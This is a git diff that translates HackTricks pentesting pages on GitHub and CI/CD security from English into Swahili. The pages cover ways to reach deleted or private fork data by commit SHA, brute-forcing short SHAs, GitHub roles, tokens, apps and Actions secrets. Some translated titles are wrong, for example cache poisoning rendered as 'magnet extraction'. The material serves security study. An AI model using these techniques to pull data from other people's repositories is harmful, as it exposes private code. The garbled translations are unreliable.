--git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md index ae156de2d..141152bd4 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md @@ -1,6 +1 @@ -# Gh Actions - Artifact Poisoning - - - - - +# Gh Actions - Upoisonaji wa Vitu vya Kazi diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 024aa5ff8..0abdb25c4 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -1,6 +1 @@ -# GH Actions - Cache Poisoning - - - - - +# GH Actions - Utoaji wa Sumaku diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md index 3cd632bd0..9cef507bc 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md @@ -1,6 +1 @@ # Gh Actions - Context Script Injections - - - - - diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index f19fa699e..025ffd279 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -2,59 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). +Njia hizi za kufikia data kutoka Github ambayo ilionekana kufutwa [**ziliripotiwa katika chapisho hili la blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github). ## Accessing Deleted Fork Data -1. You fork a public repository -2. You commit code to your fork -3. You delete your fork +1. Unafanya fork ya hifadhi ya umma +2. Unafanya commit ya msimbo kwenye fork yako +3. Unafuta fork yako > [!CAUTION] -> The data commited in the deleted fork is still accessible. +> Data iliyofanywa commit katika fork iliyofutwa bado inapatikana. ## Accessing Deleted Repo Data -1. You have a public repo on GitHub. -2. A user forks your repo. -3. You commit data after they fork it (and they never sync their fork with your updates). -4. You delete the entire repo. +1. Una hifadhi ya umma kwenye GitHub. +2. Mtumiaji anafanya fork ya hifadhi yako. +3. Unafanya commit ya data baada ya wao kuifanya fork (na hawajawahi kusawazisha fork yao na masasisho yako). +4. Unafuta hifadhi nzima. > [!CAUTION] -> Even if you deleted your repo, all the changes made to it are still accessible through the forks. +> Hata kama umefuta hifadhi yako, mabadiliko yote yaliyofanywa kwenye hiyo bado yanapatikana kupitia forks. ## Accessing Private Repo Data -1. You create a private repo that will eventually be made public. -2. You create a private, internal version of that repo (via forking) and commit additional code for features that youā€™re not going to make public. -3. You make your ā€œupstreamā€ repository public and keep your fork private. +1. Unaunda hifadhi ya kibinafsi ambayo hatimaye itafanywa kuwa ya umma. +2. Unaunda toleo la kibinafsi, la ndani la hifadhi hiyo (kupitia forking) na kufanya commit ya msimbo wa ziada kwa vipengele ambavyo huenda usifanye kuwa ya umma. +3. Unafanya hifadhi yako ya ā€œupstreamā€ kuwa ya umma na kuweka fork yako kuwa ya kibinafsi. > [!CAUTION] -> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. +> Inawezekana kufikia data yote iliyosukumwa kwenye fork ya ndani katika kipindi kati ya kuundwa kwa fork ya ndani na toleo la umma lilipofanywa kuwa la umma. ## How to discover commits from deleted/hidden forks -The same blog post propose 2 options: +Chapisho sawa la blog linapendekeza chaguzi 2: ### Directly accessing the commit -If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` +Ikiwa thamani ya ID ya commit (sha-1) inajulikana inawezekana kuifikia katika `https://github.com///commit/` ### Brute-forcing short SHA-1 values -It's the same to access both of these: +Ni sawa kufikia zote hizi mbili: - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) - [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) -And the latest one use a short sha-1 that is bruteforceable. +Na ya hivi karibuni inatumia sha-1 fupi ambayo inaweza kufanywa brute force. ## References - [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index ae1365a0f..deff5d5d3 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,191 +4,185 @@ ## Basic Structure -The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**. +Muundo wa msingi wa mazingira ya github ya **kampuni** kubwa ni kumiliki **enterprise** ambayo inamiliki **mashirika kadhaa** na kila moja yao inaweza kuwa na **hifadhi kadhaa** na **timu kadhaa**. Kampuni ndogo zinaweza kumiliki tu **shirika moja na hakuna enterprise**. -From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**. +Kwa mtazamo wa mtumiaji, **mtumiaji** anaweza kuwa **mwanachama** wa **mashirika na enterprises tofauti**. Ndani yao, mtumiaji anaweza kuwa na **mifumo tofauti ya enterprise, shirika na hifadhi**. -Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles. +Zaidi ya hayo, mtumiaji anaweza kuwa **sehemu ya timu tofauti** zikiwa na mifumo tofauti ya enterprise, shirika au hifadhi. -And finally **repositories may have special protection mechanisms**. +Na hatimaye, **hifadhi zinaweza kuwa na mifumo maalum ya ulinzi**. ## Privileges ### Enterprise Roles -- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository -- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**. +- **Mmiliki wa Enterprise**: Watu wenye jukumu hili wanaweza **kusimamia wasimamizi, kusimamia mashirika ndani ya enterprise, kusimamia mipangilio ya enterprise, kutekeleza sera katika mashirika**. Hata hivyo, hawawezi **kufikia mipangilio ya shirika au maudhui** isipokuwa wametengenezwa kuwa mmiliki wa shirika au kupewa ufikiaji wa moja kwa moja kwa hifadhi inayomilikiwa na shirika. +- **Wajumbe wa Enterprise**: Wajumbe wa mashirika yanayomilikiwa na enterprise yako pia ni **wanachama wa enterprise** kiotomatiki. ### Organization Roles -In an organisation users can have different roles: +Katika shirika, watumiaji wanaweza kuwa na mifumo tofauti: -- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization. -- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**. -- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information. -- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization. - - If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization. -- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions. -- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization. +- **Wamiliki wa Shirika**: Wamiliki wa shirika wana **ufikiaji kamili wa kiutawala kwa shirika lako**. Jukumu hili linapaswa kuwa na mipaka, lakini si chini ya watu wawili, katika shirika lako. +- **Wajumbe wa Shirika**: Jukumu la **kawaida**, lisilo la kiutawala kwa **watu katika shirika** ni mwanachama wa shirika. Kwa kawaida, wajumbe wa shirika **wana idadi ya ruhusa**. +- **Wasimamizi wa Malipo**: Wasimamizi wa malipo ni watumiaji wanaoweza **kusimamia mipangilio ya malipo kwa shirika lako**, kama vile taarifa za malipo. +- **Wasimamizi wa Usalama**: Ni jukumu ambalo wamiliki wa shirika wanaweza kuteua kwa timu yoyote katika shirika. Wakati linapotumika, linawapa kila mwanachama wa timu ruhusa za **kusimamia tahadhari za usalama na mipangilio katika shirika lako, pamoja na ruhusa za kusoma kwa hifadhi zote** katika shirika. +- Ikiwa shirika lako lina timu ya usalama, unaweza kutumia jukumu la msimamizi wa usalama kuwapa wanachama wa timu ufikiaji mdogo wanahitaji kwa shirika. +- **Wasimamizi wa Github App**: Ili kuruhusu watumiaji wengine **kusimamia Github Apps zinazomilikiwa na shirika**, mmiliki anaweza kuwapa ruhusa za msimamizi wa Github App. +- **Washirikishi wa Nje**: Mshirikishi wa nje ni mtu ambaye ana **ufikiaji wa hifadhi moja au zaidi za shirika lakini si mwanachama** wa shirika kwa wazi. -You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) +Unaweza **kulinganisha ruhusa** za mifumo hii katika jedwali hili: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) ### Members Privileges -In _https://github.com/organizations/\/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**. +Katika _https://github.com/organizations/\/settings/member_privileges_ unaweza kuona **ruhusa ambazo watumiaji watakuwa nazo kwa kuwa sehemu ya shirika**. -The settings here configured will indicate the following permissions of members of the organisation: +Mipangilio hapa iliyowekwa itaonyesha ruhusa zifuatazo za wanachama wa shirika: -- Be admin, writer, reader or no permission over all the organisation repos. -- If members can create private, internal or public repositories. -- If forking of repositories is possible -- If it's possible to invite outside collaborators -- If public or private sites can be published -- The permissions admins has over the repositories -- If members can create new teams +- Kuwa msimamizi, mwandishi, msomaji au hakuna ruhusa juu ya hifadhi zote za shirika. +- Ikiwa wanachama wanaweza kuunda hifadhi za kibinafsi, za ndani au za umma. +- Ikiwa kuiga hifadhi kunawezekana +- Ikiwa inawezekana kuwalika washirikishi wa nje +- Ikiwa tovuti za umma au za kibinafsi zinaweza kuchapishwa +- Ruhusa ambazo wasimamizi wanazo juu ya hifadhi +- Ikiwa wanachama wanaweza kuunda timu mpya ### Repository Roles -By default repository roles are created: +Kwa kawaida mifumo ya hifadhi huundwa: -- **Read**: Recommended for **non-code contributors** who want to view or discuss your project -- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access -- **Write**: Recommended for contributors who **actively push to your project** -- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions -- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository +- **Soma**: Inapendekezwa kwa **wasaidizi wasio wa msimbo** wanaotaka kuona au kujadili mradi wako +- **Triage**: Inapendekezwa kwa **wasaidizi wanaohitaji kusimamia masuala na ombi la kuvuta** bila ufikiaji wa kuandika +- **Andika**: Inapendekezwa kwa wasaidizi ambao **wanasukuma kwa nguvu kwenye mradi wako** +- **Simamisha**: Inapendekezwa kwa **wasimamizi wa mradi wanaohitaji kusimamia hifadhi** bila ufikiaji wa vitendo nyeti au vya kuharibu +- **Msimamizi**: Inapendekezwa kwa watu wanaohitaji **ufikiaji kamili wa mradi**, ikiwa ni pamoja na vitendo nyeti na vya kuharibu kama kusimamia usalama au kufuta hifadhi -You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) +Unaweza **kulinganisha ruhusa** za kila jukumu katika jedwali hili [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role) -You can also **create your own roles** in _https://github.com/organizations/\/settings/roles_ +Unaweza pia **kuunda mifumo yako mwenyewe** katika _https://github.com/organizations/\/settings/roles_ ### Teams -You can **list the teams created in an organization** in _https://github.com/orgs/\/teams_. Note that to see the teams which are children of other teams you need to access each parent team. +Unaweza **orodhesha timu zilizoundwa katika shirika** katika _https://github.com/orgs/\/teams_. Kumbuka kuwa ili kuona timu ambazo ni watoto wa timu nyingine unahitaji kufikia kila timu ya mzazi. ### Users -The users of an organization can be **listed** in _https://github.com/orgs/\/people._ +Watumiaji wa shirika wanaweza **orodheshwa** katika _https://github.com/orgs/\/people._ -In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**. +Katika taarifa za kila mtumiaji unaweza kuona **timu ambazo mtumiaji ni mwanachama wa**, na **hifadhi ambazo mtumiaji ana ufikiaji wa**. ## Github Authentication -Github offers different ways to authenticate to your account and perform actions on your behalf. +Github inatoa njia tofauti za kuthibitisha akaunti yako na kufanya vitendo kwa niaba yako. ### Web Access -Accessing **github.com** you can login using your **username and password** (and a **2FA potentially**). +Kwa kufikia **github.com** unaweza kuingia kwa kutumia **jina lako la mtumiaji na nenosiri** (na **2FA huenda**). ### **SSH Keys** -You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [https://github.com/settings/keys](https://github.com/settings/keys) +Unaweza kuunda akaunti yako na funguo moja au kadhaa za umma zinazoruhusu **funguo binafsi zinazohusiana kufanya vitendo kwa niaba yako.** [https://github.com/settings/keys](https://github.com/settings/keys) #### **GPG Keys** -You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**. Learn more about [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). +Huwezi **kujifanya kuwa mtumiaji kwa funguo hizi** lakini ikiwa huzitumii inaweza kuwa inawezekana kwamba **unagundulika kwa kutuma commits bila saini**. Jifunze zaidi kuhusu [mode ya uangalizi hapa](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode). ### **Personal Access Tokens** -You can generate personal access token to **give an application access to your account**. When creating a personal access token the **user** needs to **specify** the **permissions** to **token** will have. [https://github.com/settings/tokens](https://github.com/settings/tokens) +Unaweza kuunda token za ufikiaji wa kibinafsi ili **kutoa ufikiaji wa programu kwa akaunti yako**. Wakati wa kuunda token ya ufikiaji wa kibinafsi, **mtumiaji** anahitaji **kueleza** **ruhusa** ambazo **token** itakuwa nazo. [https://github.com/settings/tokens](https://github.com/settings/tokens) ### Oauth Applications -Oauth applications may ask you for permissions **to access part of your github information or to impersonate you** to perform some actions. A common example of this functionality is the **login with github button** you might find in some platforms. +Programu za Oauth zinaweza kukuomba ruhusa **za kufikia sehemu ya taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo fulani. Mfano wa kawaida wa kazi hii ni **kitufe cha kuingia na github** ambacho unaweza kukutana nacho katika baadhi ya majukwaa. -- You can **create** your own **Oauth applications** in [https://github.com/settings/developers](https://github.com/settings/developers) -- You can see all the **Oauth applications that has access to your account** in [https://github.com/settings/applications](https://github.com/settings/applications) -- You can see the **scopes that Oauth Apps can ask for** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) -- You can see third party access of applications in an **organization** in _https://github.com/organizations/\/settings/oauth_application_policy_ +- Unaweza **kuunda** programu zako za **Oauth** katika [https://github.com/settings/developers](https://github.com/settings/developers) +- Unaweza kuona **programu za Oauth ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/applications](https://github.com/settings/applications) +- Unaweza kuona **mipaka ambayo Oauth Apps zinaweza kuomba** katika [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) +- Unaweza kuona ufikiaji wa wahusika wengine wa programu katika **shirika** katika _https://github.com/organizations/\/settings/oauth_application_policy_ -Some **security recommendations**: +Baadhi ya **mapendekezo ya usalama**: -- An **OAuth App** should always **act as the authenticated GitHub user across all of GitHub** (for example, when providing user notifications) and with access only to the specified scopes.. -- An OAuth App can be used as an identity provider by enabling a "Login with GitHub" for the authenticated user. -- **Don't** build an **OAuth App** if you want your application to act on a **single repository**. With the `repo` OAuth scope, OAuth Apps can **act on \_all**\_\*\* of the authenticated user's repositorie\*\*s. -- **Don't** build an OAuth App to act as an application for your **team or company**. OAuth Apps authenticate as a **single user**, so if one person creates an OAuth App for a company to use, and then they leave the company, no one else will have access to it. -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). +- **Programu ya OAuth** inapaswa kila wakati **kufanya kama mtumiaji aliyethibitishwa wa GitHub katika GitHub yote** (kwa mfano, wakati wa kutoa arifa za mtumiaji) na kwa ufikiaji tu wa mipaka iliyotajwa. +- Programu ya OAuth inaweza kutumika kama mtoa kitambulisho kwa kuwezesha "Ingia na GitHub" kwa mtumiaji aliyethibitishwa. +- **Usijenge** **Programu ya OAuth** ikiwa unataka programu yako ifanye kazi kwenye **hifadhi moja**. Kwa mipaka ya `repo`, Programu za OAuth zinaweza **kufanya kazi kwenye \_zote**\_\*\* za hifadhi za mtumiaji aliyethibitishwa\*\*. +- **Usijenge** Programu ya OAuth ili kufanya kazi kama programu kwa **timu au kampuni** yako. Programu za OAuth zinathibitishwa kama **mtumiaji mmoja**, hivyo ikiwa mtu mmoja anaunda Programu ya OAuth kwa kampuni kutumia, na kisha anaondoka kampuni, hakuna mtu mwingine atakayekuwa na ufikiaji wake. +- **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps). ### Github Applications -Github applications can ask for permissions to **access your github information or impersonate you** to perform specific actions over specific resources. In Github Apps you need to specify the repositories the app will have access to. +Programu za Github zinaweza kuomba ruhusa za **kufikia taarifa zako za github au kujifanya kuwa wewe** ili kufanya vitendo maalum juu ya rasilimali maalum. Katika Programu za Github unahitaji kueleza hifadhi ambazo programu itakuwa na ufikiaji. -- To install a GitHub App, you must be an **organisation owner or have admin permissions** in a repository. -- The GitHub App should **connect to a personal account or an organisation**. -- You can create your own Github application in [https://github.com/settings/apps](https://github.com/settings/apps) -- You can see all the **Github applications that has access to your account** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) -- These are the **API Endpoints for Github Applications** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Depending on the permissions of the App it will be able to access some of them -- You can see installed apps in an **organization** in _https://github.com/organizations/\/settings/installations_ +- Ili kufunga Programu ya GitHub, lazima uwe **mmiliki wa shirika au uwe na ruhusa za msimamizi** katika hifadhi. +- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**. +- Unaweza kuunda programu yako mwenyewe ya Github katika [https://github.com/settings/apps](https://github.com/settings/apps) +- Unaweza kuona **programu zote za Github ambazo zina ufikiaji wa akaunti yako** katika [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) +- Hizi ni **API Endpoints za Programu za Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Kulingana na ruhusa za Programu itakuwa na uwezo wa kufikia baadhi yao +- Unaweza kuona programu zilizofungwa katika **shirika** katika _https://github.com/organizations/\/settings/installations_ -Some security recommendations: +Baadhi ya mapendekezo ya usalama: -- A GitHub App should **take actions independent of a user** (unless the app is using a [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) token). To keep user-to-server access tokens more secure, you can use access tokens that will expire after 8 hours, and a refresh token that can be exchanged for a new access token. For more information, see "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." -- Make sure the GitHub App integrates with **specific repositories**. -- The GitHub App should **connect to a personal account or an organisation**. -- Don't expect the GitHub App to know and do everything a user can. -- **Don't use a GitHub App if you just need a "Login with GitHub" service**. But a GitHub App can use a [user identification flow](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) to log users in _and_ do other things. -- Don't build a GitHub App if you _only_ want to act as a GitHub user and do everything that user can do. -- If you are using your app with GitHub Actions and want to modify workflow files, you must authenticate on behalf of the user with an OAuth token that includes the `workflow` scope. The user must have admin or write permission to the repository that contains the workflow file. For more information, see "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." -- **More** in [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). +- Programu ya GitHub inapaswa **kuchukua hatua bila ya mtumiaji** (isipokuwa programu inatumia [token ya mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Ili kuweka token za ufikiaji wa mtumiaji-kwa-server kuwa salama zaidi, unaweza kutumia token za ufikiaji ambazo zitakoma baada ya masaa 8, na token ya upya ambayo inaweza kubadilishwa kwa token mpya ya ufikiaji. Kwa maelezo zaidi, angalia "[Kurefresh token za ufikiaji wa mtumiaji-kwa-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." +- Hakikisha Programu ya GitHub inajumuisha **hifadhi maalum**. +- Programu ya GitHub inapaswa **kuunganishwa na akaunti binafsi au shirika**. +- Usitarajie Programu ya GitHub ijue na kufanya kila kitu ambacho mtumiaji anaweza. +- **Usitumie Programu ya GitHub ikiwa unahitaji tu huduma ya "Ingia na GitHub"**. Lakini Programu ya GitHub inaweza kutumia [mchakato wa utambulisho wa mtumiaji](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) kuingia kwa watumiaji _na_ kufanya mambo mengine. +- Usijenge Programu ya GitHub ikiwa unataka _tu_ kufanya kazi kama mtumiaji wa GitHub na kufanya kila kitu ambacho mtumiaji huyo anaweza kufanya. +- Ikiwa unatumia programu yako na GitHub Actions na unataka kubadilisha faili za workflow, lazima uthibitishe kwa niaba ya mtumiaji kwa token ya OAuth ambayo inajumuisha mipaka ya `workflow`. Mtumiaji lazima awe na ruhusa ya msimamizi au kuandika kwa hifadhi ambayo ina faili ya workflow. Kwa maelezo zaidi, angalia "[Kuelewa mipaka kwa programu za OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." +- **Zaidi** katika [hapa](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps). ### Github Actions -This **isn't a way to authenticate in github**, but a **malicious** Github Action could get **unauthorised access to github** and **depending** on the **privileges** given to the Action several **different attacks** could be done. See below for more information. +Hii **si njia ya kuthibitisha katika github**, lakini **kitendo kibaya** cha Github kinaweza kupata **ufikiaji usioidhinishwa kwa github** na **kulingana** na **privileges** zilizotolewa kwa Kitendo kadhaa **shambulio tofauti** zinaweza kufanywa. Tazama hapa chini kwa maelezo zaidi. ## Git Actions -Git actions allows to automate the **execution of code when an event happen**. Usually the code executed is **somehow related to the code of the repository** (maybe build a docker container or check that the PR doesn't contain secrets). +Vitendo vya Git vinaruhusu kuendesha **utendaji wa msimbo wakati tukio linapotokea**. Kwa kawaida, msimbo unaotekelezwa ni **kama vile unavyohusiana na msimbo wa hifadhi** (labda kujenga kontena la docker au kuangalia kwamba PR haina siri). ### Configuration -In _https://github.com/organizations/\/settings/actions_ it's possible to check the **configuration of the github actions** for the organization. +Katika _https://github.com/organizations/\/settings/actions_ inawezekana kuangalia **mipangilio ya vitendo vya github** kwa shirika. -It's possible to disallow the use of github actions completely, **allow all github actions**, or just allow certain actions. +Inawezekana kukataa matumizi ya vitendo vya github kabisa, **kuruhusu vitendo vyote vya github**, au kuruhusu vitendo fulani tu. -It's also possible to configure **who needs approval to run a Github Action** and the **permissions of the GITHUB_TOKEN** of a Github Action when it's run. +Pia inawezekana kuunda **nani anahitaji idhini ili kuendesha Kitendo cha Github** na **ruhusa za GITHUB_TOKEN** za Kitendo cha Github wakati kinapotekelezwa. ### Git Secrets -Github Action usually need some kind of secrets to interact with github or third party applications. To **avoid putting them in clear-text** in the repo, github allow to put them as **Secrets**. - -These secrets can be configured **for the repo or for all the organization**. Then, in order for the **Action to be able to access the secret** you need to declare it like: +Vitendo vya Github kwa kawaida vinahitaji aina fulani za siri ili kuingiliana na github au programu za wahusika wengine. Ili **kuepuka kuweka wazi** katika hifadhi, github inaruhusu kuweka kama **Siri**. +Siri hizi zinaweza kuundwa **kwa hifadhi au kwa shirika lote**. Kisha, ili **Kitendo kiweze kufikia siri** unahitaji kuziandika kama: ```yaml steps: - - name: Hello world action - with: # Set the secret as an input - super_secret:${{ secrets.SuperSecret }} - env: # Or as an environment variable - super_secret:${{ secrets.SuperSecret }} +- name: Hello world action +with: # Set the secret as an input +super_secret:${{ secrets.SuperSecret }} +env: # Or as an environment variable +super_secret:${{ secrets.SuperSecret }} ``` - -#### Example using Bash - +#### Mfano wa kutumia Bash ```yaml steps: - - shell: bash - env: SUPER_SECRET:${{ secrets.SuperSecret }} - run: | - example-command "$SUPER_SECRET" +- shell: bash +env: SUPER_SECRET:${{ secrets.SuperSecret }} +run: | +example-command "$SUPER_SECRET" ``` - > [!WARNING] -> Secrets **can only be accessed from the Github Actions** that have them declared. +> Siri **zinaweza kufikiwa tu kutoka kwa Github Actions** ambazo zina matangazo yao. -> Once configured in the repo or the organizations **users of github won't be able to access them again**, they just will be able to **change them**. +> Mara tu zinapowekwa kwenye repo au mashirika **watumiaji wa github hawawezi kuzifikia tena**, wataweza tu **kuzibadilisha**. -Therefore, the **only way to steal github secrets is to be able to access the machine that is executing the Github Action** (in that scenario you will be able to access only the secrets declared for the Action). +Hivyo, **njia pekee ya kuiba siri za github ni kuwa na uwezo wa kufikia mashine inayotekeleza Github Action** (katika hali hiyo utaweza kufikia tu siri zilizotangazwa kwa ajili ya Action). ### Git Environments -Github allows to create **environments** where you can save **secrets**. Then, you can give the github action access to the secrets inside the environment with something like: - +Github inaruhusu kuunda **mazingira** ambapo unaweza kuhifadhi **siri**. Kisha, unaweza kutoa ufikiaji wa github action kwa siri ndani ya mazingira kwa kitu kama: ```yaml jobs: - deployment: - runs-on: ubuntu-latest - environment: env_name +deployment: +runs-on: ubuntu-latest +environment: env_name ``` - You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. @@ -229,11 +223,11 @@ The **branch protections of a repository** can be found in _https://github.com/\ Different protections can be applied to a branch (like to master): - You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. +- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. +- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. +- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) +- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. +- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. - **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). - **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. - **Require signed commits**. The commits need to be signed. @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..2fba38c54 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins ni chombo kinachotoa njia rahisi ya kuanzisha **continuous integration** au **continuous delivery** (CI/CD) mazingira kwa karibu **yoyote** mchanganyiko wa 